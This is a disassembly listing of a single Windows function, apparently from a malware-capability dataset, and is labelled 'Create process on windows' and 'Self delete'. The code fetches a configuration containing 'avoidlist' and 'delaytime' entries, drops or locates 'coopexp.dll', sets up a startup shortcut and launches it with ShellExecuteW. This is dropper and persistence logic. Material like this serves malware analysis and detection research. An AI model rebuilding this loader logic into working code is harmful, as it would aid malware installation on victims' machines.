Function at 0x40ee10
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ade0b
mov eax, dword fs:[0]
push eax
sub esp, 0x320
mov eax, dword [0x4e06b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2d4], ecx
lea ecx, [ebp - 0x12c]
call fcn.0040a960
mov dword [ebp - 4], 0
push 0x3a98
push 0x3a98
push 0x3a98
push 0x3a98
push 0
push 0x4c3580
xor ecx, ecx
lea edx, [ebp - 0x12c]
call fcn.00454eb0
add esp, 0x18
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x40f717
push 0x4c354c
call fcn.0040c1e0
mov esi, eax
call fcn.00479510
add esp, 4
lea eax, [ebp - 0x12c]
push eax
call fcn.00407660
lea esi, [ebp - 0x2c]
call fcn.00468f70
mov dword [ebp - 0x2d8], eax
mov ecx, dword [ebp - 0x2d8]
mov dword [ebp - 0x2dc], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x2dc]
push edx
lea ecx, [ebp - 0x12c]
call fcn.00408010
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.0040aa80
lea eax, [ebp - 0x2c6]
call fcn.0045af70
push eax
lea eax, [ebp - 0x1bc]
push eax
call fcn.0045b120
mov byte [ebp - 4], 2
push 0
lea edi, [ebp - 0x13c]
call fcn.0045e510
mov byte [ebp - 4], 3
push 1
lea ecx, [ebp - 0x13c]
push ecx
lea eax, [ebp - 0x12c]
lea esi, [ebp - 0x1bc]
call fcn.0045b250
movzx edx, al
test edx, edx
je 0x40f6f7
push 0x4c35e0
call fcn.0040c1e0
mov esi, eax
call fcn.00479510
add esp, 4
mov eax, 0x4c3610
lea ecx, [ebp - 0x13c]
call fcn.0045edd0
mov ecx, eax
mov eax, 0x4c3618
call fcn.0045edd0
mov ecx, eax
call fcn.0045ead0
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1c4], 0
jmp 0x40ef99
mov edx, dword [ebp - 0x1c4]
add edx, 1
mov dword [ebp - 0x1c4], edx
mov eax, dword [ebp - 0x1c4]
cmp eax, dword [ebp - 0x1c0]
jge 0x40f6f7
mov ecx, dword [ebp - 0x1c4]
push ecx
mov eax, 0x4c3620
lea ecx, [ebp - 0x13c]
call fcn.0045edd0
mov edx, eax
mov eax, 0x4c3628
mov ecx, edx
call fcn.0045edd0
push eax
call fcn.0045eb50
mov ecx, eax
mov eax, str.avoidlist
call fcn.0045edd0
lea esi, [ebp - 0x48]
mov ecx, eax
call fcn.0045e940
mov dword [ebp - 0x2e0], eax
mov edx, dword [ebp - 0x2e0]
mov dword [ebp - 0x2e4], edx
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x2e4]
lea esi, [ebp - 0x1fc]
call fcn.00453950
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x48]
call fcn.0040aa80
mov eax, dword [ebp - 0x1c4]
push eax
mov eax, 0x4c363c
lea ecx, [ebp - 0x13c]
call fcn.0045edd0
mov ecx, eax
mov eax, 0x4c3644
call fcn.0045edd0
push eax
call fcn.0045eb50
mov edx, eax
mov eax, 0x4c364c
mov ecx, edx
call fcn.0045edd0
lea esi, [ebp - 0x64]
mov ecx, eax
call fcn.0045e940
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0x2ec], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x2ec]
lea esi, [ebp - 0x218]
call fcn.00453950
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x64]
call fcn.0040aa80
mov ecx, dword [ebp - 0x1c4]
push ecx
mov eax, 0x4c3654
lea ecx, [ebp - 0x13c]
call fcn.0045edd0
mov edx, eax
mov eax, 0x4c365c
mov ecx, edx
call fcn.0045edd0
push eax
call fcn.0045eb50
mov ecx, eax
mov eax, 0x4c3664
call fcn.0045edd0
lea esi, [ebp - 0x80]
mov ecx, eax
call fcn.0045e940
mov dword [ebp - 0x2f0], eax
mov edx, dword [ebp - 0x2f0]
mov dword [ebp - 0x2f4], edx
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x2f4]
lea esi, [ebp - 0x250]
call fcn.00453950
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x80]
call fcn.0040aa80
mov eax, dword [ebp - 0x1c4]
push eax
mov eax, 0x4c3670
lea ecx, [ebp - 0x13c]
call fcn.0045edd0
mov ecx, eax
mov eax, 0x4c3678
call fcn.0045edd0
push eax
call fcn.0045eb50
mov edx, eax
mov eax, 0x4c3680
mov ecx, edx
call fcn.0045edd0
lea esi, [ebp - 0x9c]
mov ecx, eax
call fcn.0045e940
mov dword [ebp - 0x2f8], eax
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x2fc], eax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x2fc]
lea esi, [ebp - 0x2a4]
call fcn.00453950
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x9c]
call fcn.0040aa80
mov ecx, dword [ebp - 0x1c4]
push ecx
mov eax, 0x4c3684
lea ecx, [ebp - 0x13c]
call fcn.0045edd0
mov edx, eax
mov eax, 0x4c368c
mov ecx, edx
call fcn.0045edd0
push eax
call fcn.0045eb50
mov ecx, eax
mov eax, str.delaytime
call fcn.0045edd0
mov ecx, eax
call fcn.0045e9e0
push eax
push 0x4c36a0
lea edx, [ebp - 0x1e0]
push edx
call fcn.00453a70
add esp, 0xc
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x1c4]
push eax
mov eax, 0x4c36a8
lea ecx, [ebp - 0x13c]
call fcn.0045edd0
mov ecx, eax
mov eax, 0x4c36b0
call fcn.0045edd0
push eax
call fcn.0045eb50
mov edx, eax
mov eax, 0x4c36b8
mov ecx, edx
call fcn.0045edd0
lea esi, [ebp - 0xb8]
mov ecx, eax
call fcn.0045e940
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x304], eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x304]
lea esi, [ebp - 0x288]
call fcn.00453950
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xb8]
call fcn.0040aa80
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2cc], esp
lea edx, [ebp - 0x218]
push edx
call fcn.00404280
mov dword [ebp - 0x308], eax
mov ecx, dword [ebp - 0x2d4]
call fcn.0040e950
mov byte [ebp - 0x309], al
movzx eax, byte [ebp - 0x309]
test eax, eax
je 0x40f313
push 0x4c36c4
call fcn.0040c1e0
mov esi, eax
call fcn.00479510
add esp, 4
push 0x41a4
call fcn.00420e40
mov ecx, eax
call fcn.00421500
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x288]
call fcn.00404310
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.00404310
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2a4]
call fcn.00404310
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x250]
call fcn.00404310
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x218]
call fcn.00404310
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1fc]
call fcn.00404310
jmp 0x40ef8a
lea ecx, [ebp - 0x234]
push ecx
call fcn.0041c140
mov ecx, eax
call fcn.0041ce80
mov byte [ebp - 4], 0x14
push 0
lea edx, [ebp - 0x234]
push edx
lea ecx, [ebp - 0x250]
call fcn.004027e0
cmp eax, 0xffffffff
je 0x40f3da
push 0x4c36e0
call fcn.0040c1e0
mov esi, eax
call fcn.00479510
add esp, 4
push 0x41a3
call fcn.00420e40
mov ecx, eax
call fcn.00421500
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x234]
call fcn.00404310
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x288]
call fcn.00404310
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.00404310
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2a4]
call fcn.00404310
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x250]
call fcn.00404310
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x218]
call fcn.00404310
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1fc]
call fcn.00404310
jmp 0x40ef8a
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2d0], esp
lea eax, [ebp - 0x1fc]
push eax
call fcn.00404280
mov dword [ebp - 0x310], eax
mov ecx, dword [ebp - 0x2d4]
call fcn.0040ebc0
mov byte [ebp - 0x311], al
movzx ecx, byte [ebp - 0x311]
test ecx, ecx
je 0x40f4aa
push str.lnk_exist
call fcn.0040c1e0
mov esi, eax
call fcn.00479510
add esp, 4
push 0x41a2
call fcn.00420e40
mov ecx, eax
call fcn.00421500
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x234]
call fcn.00404310
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x288]
call fcn.00404310
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.00404310
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2a4]
call fcn.00404310
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x250]
call fcn.00404310
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x218]
call fcn.00404310
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1fc]
call fcn.00404310
jmp 0x40ef8a
lea edx, [ebp - 0xd4]
push edx
call fcn.00404d30
add esp, 4
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x31c], eax
mov byte [ebp - 4], 0x15
push str.coopexp.dll
mov ecx, dword [ebp - 0x31c]
push ecx
lea edx, [ebp - 0x2c0]
push edx
call fcn.00403050
add esp, 0xc
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xd4]
call fcn.00404310
push 0x3a98
push 0x3a98
push 0x3a98
push 0x3a98
lea ecx, [ebp - 0x2c0]
call fcn.00404260
push eax
lea ecx, [ebp - 0x2a4]
call fcn.00404260
push eax
xor ecx, ecx
call fcn.004549c0
add esp, 0x18
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x2c0]
push eax
push 0x4c3748
lea ecx, [ebp - 0xf0]
push ecx
call fcn.00402f90
add esp, 0xc
mov dword [ebp - 0x320], eax
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x324], edx
mov byte [ebp - 4], 0x18
push str.__startup
mov eax, dword [ebp - 0x324]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00403050
add esp, 0xc
mov dword [ebp - 0x328], eax
mov edx, dword [ebp - 0x328]
mov dword [ebp - 0x32c], edx
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x1e0]
push eax
mov ecx, dword [ebp - 0x32c]
push ecx
lea edx, [ebp - 0x26c]
push edx
call fcn.00403090
add esp, 0xc
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x10c]
call fcn.00404310
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xf0]
call fcn.00404310
cmp dword [ebp - 0x110], 0
jne 0x40f658
push 0
push 0
lea ecx, [ebp - 0x26c]
call fcn.00404260
push eax
push 0x4c374c
push 0x4c3768
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x20
jle 0x40f631
push 0x41a6
call fcn.00420e40
mov ecx, eax
call fcn.00421500
lea ecx, [ebp - 0x288]
call fcn.00404260
mov esi, eax
call fcn.00455350
jmp 0x40f656
push 0x4c3774
call fcn.0040c1e0
mov esi, eax
call fcn.00479510
add esp, 4
push 0x41a7
call fcn.00420e40
mov ecx, eax
call fcn.00421500
jmp 0x40f669
push 0x41a5
call fcn.00420e40
mov ecx, eax
call fcn.00421500
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x26c]
call fcn.00404310
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2c0]
call fcn.00404310
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x234]
call fcn.00404310
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x288]
call fcn.00404310
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.00404310
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2a4]
call fcn.00404310
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x250]
call fcn.00404310
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x218]
call fcn.00404310
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1fc]
call fcn.00404310
jmp 0x40f6f7
mov byte [ebp - 4], 2
lea edi, [ebp - 0x13c]
call fcn.0045e7e0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1bc]
call fcn.0040c650
jmp 0x40f728
push 0x41a1
call fcn.00420e40
mov ecx, eax
call fcn.00421500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.0040aa80
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00482469
mov esp, ebp
pop ebp
ret